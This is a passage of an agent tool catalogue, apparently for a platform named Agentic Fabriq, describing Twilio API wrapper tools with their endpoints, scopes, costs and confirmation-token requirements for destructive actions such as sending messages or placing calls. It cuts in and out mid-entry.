account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-maps. Scopes: twilio_read. twilio_list_sync_services (read) — List services — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-services. Scopes: twilio_read. twilio_list_sync_streams (read) — List streams — Twilio Sync — the account's real-time state store of documents, lists, maps and streams. Retrieve a list of all Streams in a Service Instance. Read-only. Sync objects hold whatever the customer's application put in them, so treat their data as customer content. GET /api/v1/tools/twilio/list-sync-streams. Scopes: twilio_read. twilio_list_taskrouter_activities (read) — List activities — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-activities. Scopes: twilio_read. twilio_list_taskrouter_events (read) — List events — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-events. Scopes: twilio_read. twilio_list_taskrouter_task_channels (read) — List task channels — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-task-channels. Scopes: twilio_read. twilio_list_taskrouter_task_queues (read) — List task queues — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-task-queues. Scopes: twilio_read. twilio_list_taskrouter_task_queues_statistics (read) — List task queues statistics — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-task-queues-statistics. Scopes: twilio_read. twilio_list_taskrouter_task_reservations (read) — List task reservations — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-task-reservations. Scopes: twilio_read. twilio_list_taskrouter_tasks (read) — List tasks — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-tasks. Scopes: twilio_read. twilio_list_taskrouter_worker_channels (read) — List worker channels — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-worker-channels. Scopes: twilio_read. twilio_list_taskrouter_worker_reservations (read) — List worker reservations — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-worker-reservations. Scopes: twilio_read. twilio_list_taskrouter_workers (read) — List workers — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-workers. Scopes: twilio_read. twilio_list_taskrouter_workflows (read) — List workflows — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-workflows. Scopes: twilio_read. twilio_list_taskrouter_workspaces (read) — List workspaces — TaskRouter — workspaces, queues, workers, workflows and the live statistics over them. READ ONLY. Creating a task is $0.06 after the first 100 a month with no ceiling parameter, and changing a workflow rewrites how every future task is routed, so no write is exposed. GET /api/v1/tools/twilio/list-taskrouter-workspaces. Scopes: twilio_read. twilio_list_tollfree_verifications (read) — List toll-free verification submissions and their status. US toll-free traffic is blocked outright until the number is verified, so an unverified number is the toll-free equivalent of an unregistered A2P campaign. Read-only — filing a verification is not exposed. GET /api/v1/tools/twilio/tollfree-verifications. Scopes: twilio_read. twilio_list_transcriptions (read) — List the transcriptions of this account's recordings, with each one's status, duration and price. The transcript text is the customer's own conversation content — do not repeat it further than the task requires. GET /api/v1/tools/twilio/transcriptions. Scopes: twilio_read. twilio_list_trunking_credential_lists (read) — List credential lists — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/list-trunking-credential-lists. Scopes: twilio_read. twilio_list_trunking_ip_access_control_lists (read) — List IP access control lists — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. List all IP Access Control Lists for a Trunk. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/list-trunking-ip-access-control-lists. Scopes: twilio_read. twilio_list_trunking_origination_urls (read) — List origination URLs — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/list-trunking-origination-urls. Scopes: twilio_read. twilio_list_trunking_phone_numbers (read) — List phone numbers — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/list-trunking-phone-numbers. Scopes: twilio_read. twilio_list_trunking_trunks (read) — List trunks — Elastic SIP Trunking — the customer's own SIP trunks and what may originate or terminate on them. READ ONLY. A trunk write decides who may place calls billed to this account, which is a security decision Agentic Fabriq cannot make. GET /api/v1/tools/twilio/list-trunking-trunks. Scopes: twilio_read. twilio_list_trust_products (read) — List Trust Hub trust products — the per-product compliance records (such as a shaken/stir or toll-free profile) attached to this account — and their review status. Read-only. GET /api/v1/tools/twilio/trust-products. Scopes: twilio_read. twilio_list_trusthub_customer_profile_channel_endpoint_assignments (read) — List customer profile channel endpoint assignments — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Assigned Items for an account. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-customer-profile-channel-endpoint-assignments. Scopes: twilio_read. twilio_list_trusthub_customer_profile_entity_assignments (read) — List customer profile entity assignments — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Assigned Items for an account. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-customer-profile-entity-assignments. Scopes: twilio_read. twilio_list_trusthub_customer_profile_evaluations (read) — List customer profile evaluations — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of Evaluations associated to the customer_profile resource. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-customer-profile-evaluations. Scopes: twilio_read. twilio_list_trusthub_end_user_types (read) — List end user types — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all End-User Types. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-end-user-types. Scopes: twilio_read. twilio_list_trusthub_end_users (read) — List end users — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all End User for an account. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-end-users. Scopes: twilio_read. twilio_list_trusthub_policies (read) — List policies — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Policys. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-policies. Scopes: twilio_read. twilio_list_trusthub_supporting_document_types (read) — List supporting document types — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Supporting Document Types. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-supporting-document-types. Scopes: twilio_read. twilio_list_trusthub_supporting_documents (read) — List supporting documents — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Supporting Document for an account. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-supporting-documents. Scopes: twilio_read. twilio_list_trusthub_trust_product_channel_endpoint_assignments (read) — List trust product channel endpoint assignments — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Assigned Items for an account. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-trust-product-channel-endpoint-assignments. Scopes: twilio_read. twilio_list_trusthub_trust_product_entity_assignments (read) — List trust product entity assignments — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of all Assigned Items for an account. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-trust-product-entity-assignments. Scopes: twilio_read. twilio_list_trusthub_trust_product_evaluations (read) — List trust product evaluations — Trust Hub — the business-identity records every A2P brand and several regulatory bundles hang off. Retrieve a list of Evaluations associated to the trust_product resource. READ ONLY. Creating or submitting a profile is a sworn statement about a business identity; reading its status is not. GET /api/v1/tools/twilio/list-trusthub-trust-product-evaluations. Scopes: twilio_read. twilio_list_usage_triggers (read) — List the account's usage triggers — the customer's own spend alarms, each with its threshold and what it fires on. READ ONLY: deleting a trigger removes the ceiling on the mistakes an agent's own sends can make, so it is deliberately not exposed. GET /api/v1/tools/twilio/usage-triggers. Scopes: twilio_read. twilio_list_verify_attempts (read) — List Verify attempts with their channel, destination country, conversion status and price. This is the fraud and conversion telemetry for OTP traffic — SMS-pumping shows up here as a spike of unconverted attempts to one country. Read-only; it sends nothing. GET /api/v1/tools/twilio/verify-attempts. Scopes: twilio_read. twilio_list_verify_buckets (read) — List buckets — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Buckets for a Rate Limit. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-buckets. Scopes: twilio_read. twilio_list_verify_challenges (read) — List challenges — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Challenges for a Factor. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-challenges. Scopes: twilio_read. twilio_list_verify_entities (read) — List entities — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Entities for a Service. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-entities. Scopes: twilio_read. twilio_list_verify_factors (read) — List factors — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Factors for an Entity. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-factors. Scopes: twilio_read. twilio_list_verify_messaging_configurations (read) — List messaging configurations — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Messaging Configurations for a Service. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-messaging-configurations. Scopes: twilio_read. twilio_list_verify_rate_limits (read) — List rate limits — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Rate Limits for a service. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-rate-limits. Scopes: twilio_read. twilio_list_verify_services (read) — List the Verify (OTP) services on this account with their channel settings, code length and lookup configuration. READ ONLY, and the distinction matters: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to an arbitrary phone number, not about the product. Reading configuration messages nobody. GET /api/v1/tools/twilio/verify-services. Scopes: twilio_read. twilio_list_verify_verification_templates (read) — List verification templates — Verify — the OTP product's configuration, entities, factors and telemetry. List all the available templates for a given Account. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-verification-templates. Scopes: twilio_read. twilio_list_verify_webhooks (read) — List webhooks — Verify — the OTP product's configuration, entities, factors and telemetry. Retrieve a list of all Webhooks for a Service. READ ONLY, and the distinction is the whole point: Agentic Fabriq's Verify exclusion is about SENDING an authentication code to a phone number, not about the product. Nothing here sends anything. GET /api/v1/tools/twilio/list-verify-webhooks. Scopes: twilio_read. twilio_list_video_composition_hooks (read) — List composition hooks — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. List of all Recording CompositionHook resources. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-composition-hooks. Scopes: twilio_read. twilio_list_video_compositions (read) — List compositions — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. List of all Recording compositions. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-compositions. Scopes: twilio_read. twilio_list_video_recordings (read) — List recordings — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. List of all Track recordings. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-recordings. Scopes: twilio_read. twilio_list_video_room_participant_published_tracks (read) — List room participant published tracks — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a list of tracks associated with a given Participant. Only `currently` Published Tracks are in the list resource. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-room-participant-published-tracks. Scopes: twilio_read. twilio_list_video_room_participant_subscribed_tracks (read) — List room participant subscribed tracks — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. Returns a list of tracks that are subscribed for the participant. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-room-participant-subscribed-tracks. Scopes: twilio_read. twilio_list_video_room_participants (read) — List room participants — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-room-participants. Scopes: twilio_read. twilio_list_video_room_recordings (read) — List room recordings — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-room-recordings. Scopes: twilio_read. twilio_list_video_room_transcriptions (read) — List room transcriptions — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-room-transcriptions. Scopes: twilio_read. twilio_list_video_rooms (read) — List rooms — Programmable Video — rooms, participants, recordings and compositions. The product's EOL was announced, extended, then reversed; it is live. READ ONLY and METADATA ONLY. Creating a room bills per participant-minute, and a recording is video of real people, so neither creating nor fetching media bytes is exposed. GET /api/v1/tools/twilio/list-video-rooms. Scopes: twilio_read. twilio_list_voice_byoc_trunks (read) — List BYOC trunks — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-byoc-trunks. Scopes: twilio_read. twilio_list_voice_connection_policies (read) — List connection policies — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-connection-policies. Scopes: twilio_read. twilio_list_voice_connection_policy_targets (read) — List connection policy targets — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-connection-policy-targets. Scopes: twilio_read. twilio_list_voice_dialing_permissions_countries (read) — List dialing permissions countries — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. Retrieve all voice dialing country permissions for this account. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-dialing-permissions-countries. Scopes: twilio_read. twilio_list_voice_dialing_permissions_hrs_prefixes (read) — List dialing permissions high-risk prefixes — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. Fetch the high-risk special services prefixes from the country resource corresponding to the ISO country code. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-dialing-permissions-hrs-prefixes. Scopes: twilio_read. twilio_list_voice_ip_records (read) — List IP records — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-ip-records. Scopes: twilio_read. twilio_list_voice_source_ip_mappings (read) — List source IP mappings — The Voice API's configuration surface — dialling permissions, BYOC trunks, connection policies and source-IP mappings. READ ONLY. Every write here reconfigures a live telecom estate or opens high-risk international dialling, which is where toll fraud converts to money. GET /api/v1/tools/twilio/list-voice-source-ip-mappings. Scopes: twilio_read. twilio_lookup_memory_profiles (read) — Lookup memory profiles — Finds profiles by identifier. A POST on Twilio's side because the identifier list travels in the body; it mutates nothing, which is why it carries twilio_read. POST /api/v1/tools/twilio/lookup-memory-profiles. Scopes: twilio_read. twilio_lookup_phone_number (read) — Validate a phone number and return its E.164 and national formats, its country, and whether it is a real, dialable number. Use it to check a number BEFORE spending money sending to it. COSTS MONEY IF `fields` IS USED: validation and formatting are free, but every entry in `fields` selects a billed Twilio data package charged per lookup. Leave `fields` out unless the user explicitly asked for carrier, line-type, caller-name or fraud-risk data. GET /api/v1/tools/twilio/lookup. Scopes: twilio_read. twilio_patch_conversations_v2_conversation (write) — DESTRUCTIVE — Patch conversations v2 conversation — The partial form, which changes only what it names. Requires confirm="change-this-v2-conversation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/patch-conversations-v2-conversation. Scopes: twilio_write. twilio_place_call (write, destructive) — DESTRUCTIVE — Place call — COSTS MONEY AND REACHES A REAL PERSON. BOUNDED ON BOTH AXES, and neither bound is optional here. (1) time_limit is REQUIRED and capped at one hour, so the session cannot outlive it; read the per-minute rate first with twilio_get_voice_price and the maximum cost is time_limit x that rate. (2) application_sid is REQUIRED and is the ONLY way to say what the call does — the TwiML is the customer's own, pre-registered in their Console, and this action declares no url and no twiml parameter at all. twilio_hangup_call ends it early. Requires confirm="place-a-billed-call-to-this-number": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/place-call. Scopes: twilio_write. twilio_post_conversation_message (write, destructive) — DESTRUCTIVE — Post conversation message — COSTS MONEY AND CANNOT BE UNSENT. Delivers to every participant over their own channel — SMS, WhatsApp or chat — and each outbound leg is billed. Recipients are already party to the conversation, which is why this ships where adding a participant does not. Requires confirm="send-this-message-to-participants-post-conversation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/post-conversation-message. Scopes: twilio_write. twilio_post_conversations_service_message (write, destructive) — DESTRUCTIVE — Post conversations service message — COSTS MONEY AND CANNOT BE UNSENT. The service-scoped form of posting a message. Requires confirm="send-this-message-to-participants-post-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/post-conversations-service-message. Scopes: twilio_write. twilio_post_conversations_v2_communication (write) — DESTRUCTIVE — Post conversations v2 communication — COSTS MONEY AND CANNOT BE UNSENT. The v2 form of posting into a conversation: it delivers to every participant on their own channel and each outbound leg is billed. Recipients are already party to the conversation, which is why this ships where adding a participant does not. Requires confirm="send-this-v2-message-to-participants": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/post-conversations-v2-communication. Scopes: twilio_write. twilio_publish_sync_stream_message (write) — Publish sync stream message — Publishes one message to a Sync Stream. Stream messages are NOT stored — subscribers connected at the time receive it and there is no history to read back, so this cannot be undone by deleting anything. POST /api/v1/tools/twilio/publish-sync-stream-message. Scopes: twilio_write. twilio_recall_memory_profile (read) — Recall memory profile — Recalls what the store knows about one person, assembled for use in a conversation. A POST that reads; it records nothing. POST /api/v1/tools/twilio/recall-memory-profile. Scopes: twilio_read. twilio_record_bulk_consents (write) — Record bulk consents — Records consent decisions for many contacts in one call — the evidence that a recipient agreed to be messaged. Bounded by the payload the caller sends. Free. POST /api/v1/tools/twilio/record-bulk-consents. Scopes: twilio_write. twilio_record_bulk_contacts (write) — Record bulk contacts — Records many contacts in one call. This is the customer's own address book; treat the numbers and names as personal data. Bounded by the payload. POST /api/v1/tools/twilio/record-bulk-contacts. Scopes: twilio_write. twilio_record_message_feedback (write) — Record message feedback — Records whether a message achieved its intended outcome, which is what Twilio's delivery analytics learn from. Free, and it changes nothing about the message itself. POST /api/v1/tools/twilio/record-message-feedback. Scopes: twilio_write. twilio_remove_messaging_service_alpha_sender (write) — DESTRUCTIVE — Remove messaging service alpha sender — Messages that were going out under the brand name fall back to a number. Requires confirm="remove-this-alpha-sender": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/remove-messaging-service-alpha-sender. Scopes: twilio_delete. twilio_remove_messaging_service_channel_sender (write) — DESTRUCTIVE — Remove messaging service channel sender — WhatsApp or RCS sends routed through the service stop working. Requires confirm="remove-this-channel-sender": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/remove-messaging-service-channel-sender. Scopes: twilio_delete. twilio_remove_messaging_service_destination_alpha_sender (write) — DESTRUCTIVE — Remove messaging service destination alpha sender — Permanent. Requires confirm="remove-this-destination-alpha-sender": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/remove-messaging-service-destination-alpha-sender. Scopes: twilio_delete. twilio_remove_messaging_service_number (write) — DESTRUCTIVE — Remove messaging service number — Removes a sender from the pool. Sticky-sender continuity for conversations already using that number is broken. Requires confirm="remove-this-number-from-the-pool": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/remove-messaging-service-number. Scopes: twilio_delete. twilio_remove_messaging_service_short_code (write) — DESTRUCTIVE — Remove messaging service short code — Removes the short code from the pool. Requires confirm="remove-this-short-code-from-the-pool": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/remove-messaging-service-short-code. Scopes: twilio_delete. twilio_remove_sip_ip_address (write) — DESTRUCTIVE — Remove SIP IP address — Traffic from that range stops being accepted, which is the safe direction — but a live trunk can stop working immediately. Requires confirm="revoke-this-ips-call-authorisation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/remove-sip-ip-address. Scopes: twilio_delete. twilio_replace_numbers_bundle_items (write) — DESTRUCTIVE — Replace numbers bundle items — REPLACES the bundle's whole item set in one call. Anything previously attached and not named here is detached. Requires confirm="replace-every-item-in-this-bundle": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/replace-numbers-bundle-items. Scopes: twilio_write. twilio_schedule_message (write, destructive) — DESTRUCTIVE — schedule an SMS or MMS for a fixed future time. Twilio bills per segment when the message is SENT, not when it is scheduled, and the message reaches a real handset. Unlike an immediate send this one CAN be recalled: twilio_cancel_message stops it any time before send_at. Requires a Messaging Service (messaging_service_sid) — Twilio refuses a scheduled send from a bare number — and send_at must be between 15 minutes and 35 days ahead, in UTC ISO-8601. Prefer this over twilio_send_message whenever the send is not needed this instant: it is the same operation with an undo. POST /api/v1/tools/twilio/messages/schedule. Scopes: twilio_write. twilio_search_available_numbers (read) — Search Twilio's inventory for numbers that could be bought, with each candidate's capabilities and monthly price. FREE AND BUYS NOTHING — searching costs nothing and reserves nothing. There is deliberately no action that buys a number: a purchase is a recurring charge with no cost ceiling, so this ends in a list a human acts on. GET /api/v1/tools/twilio/available-numbers. Scopes: twilio_read. twilio_search_knowledge_v2 (read) — Search knowledge v2 — Searches a knowledge base. A POST because the query travels in the body; it mutates nothing. POST /api/v1/tools/twilio/search-knowledge-v2. Scopes: twilio_read. twilio_send_message (send, destructive) — DESTRUCTIVE — send an SMS or MMS. Twilio bills the account per segment the moment the send is accepted, and publishes no unsend: the message reaches someone's handset and cannot be recalled. twilio_delete_message removes Twilio's RECORD afterwards, not the delivered message. Provide exactly ONE sender: `from_number` (a Twilio number from twilio_list_phone_numbers) or `messaging_service_sid` (from twilio_list_messaging_services). Confirm the recipient before calling; a wrong digit sends a real message to a real stranger. POST /api/v1/tools/twilio/messages. Scopes: twilio_write. twilio_send_typing_indicator (write) — Send typing indicator — Shows a typing indicator to the participants of an existing conversation. Free, ephemeral, and it delivers no content — the recipients are already party to the conversation. POST /api/v1/tools/twilio/send-typing-indicator. Scopes: twilio_write. twilio_set_memory_identity_resolution (write) — DESTRUCTIVE — Set memory identity resolution — Changes the rules that decide when two identifiers are the SAME PERSON. Loosening them merges profiles that should be separate; tightening them splits one person into several. Both are hard to unpick afterwards because the merge is applied as data arrives. Requires confirm="change-how-profiles-are-merged": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-memory-identity-resolution. Scopes: twilio_write. twilio_set_routes_phone_number (write, destructive) — DESTRUCTIVE — Set routes phone number — Assigns a phone number to an Inter-Network Exchange voice region. It changes the path every future call takes and can degrade call quality if the region is wrong for the traffic. Requires confirm="change-voice-routing-routes-phone-number": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-routes-phone-number. Scopes: twilio_write. twilio_set_routes_sip_domain (write, destructive) — DESTRUCTIVE — Set routes SIP domain — Assigns a SIP domain to an Inter-Network Exchange voice region. It changes the path every future call takes and can degrade call quality if the region is wrong for the traffic. Requires confirm="change-voice-routing-routes-sip-domain": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-routes-sip-domain. Scopes: twilio_write. twilio_set_routes_trunk (write, destructive) — DESTRUCTIVE — Set routes trunk — Assigns a SIP trunk to an Inter-Network Exchange voice region. It changes the path every future call takes and can degrade call quality if the region is wrong for the traffic. Requires confirm="change-voice-routing-set-routes-trunk": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-routes-trunk. Scopes: twilio_write. twilio_set_sync_document_permission (write, destructive) — DESTRUCTIVE — Set sync document permission — Sets one identity's read/write/manage rights on a Sync document. Widening them grants a client access to the customer's data; narrowing them can break a running application. Requires confirm="change-who-can-read-and-write-sync-document-permission": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-sync-document-permission. Scopes: twilio_write. twilio_set_sync_list_permission (write, destructive) — DESTRUCTIVE — Set sync list permission — Sets one identity's read/write/manage rights on a Sync list. Widening them grants a client access to the customer's data; narrowing them can break a running application. Requires confirm="change-who-can-read-and-write-sync-list-permission": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-sync-list-permission. Scopes: twilio_write. twilio_set_sync_map_permission (write, destructive) — DESTRUCTIVE — Set sync map permission — Sets one identity's read/write/manage rights on a Sync map. Widening them grants a client access to the customer's data; narrowing them can break a running application. Requires confirm="change-who-can-read-and-write-sync-map-permission": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/set-sync-map-permission. Scopes: twilio_write. twilio_test_event_sink (write) — Test event sink — Sends one test event to a sink that ALREADY EXISTS. It takes no destination — creating a sink, which does, is deliberately not exposed. POST /api/v1/tools/twilio/test-event-sink. Scopes: twilio_write. twilio_unassign_numbers_bundle_item (write) — DESTRUCTIVE — Unassign numbers bundle item — Detaches an item from a bundle. An approved bundle that loses a required item can fail its next evaluation. Requires confirm="detach-this-bundle-item": a literal token, not a 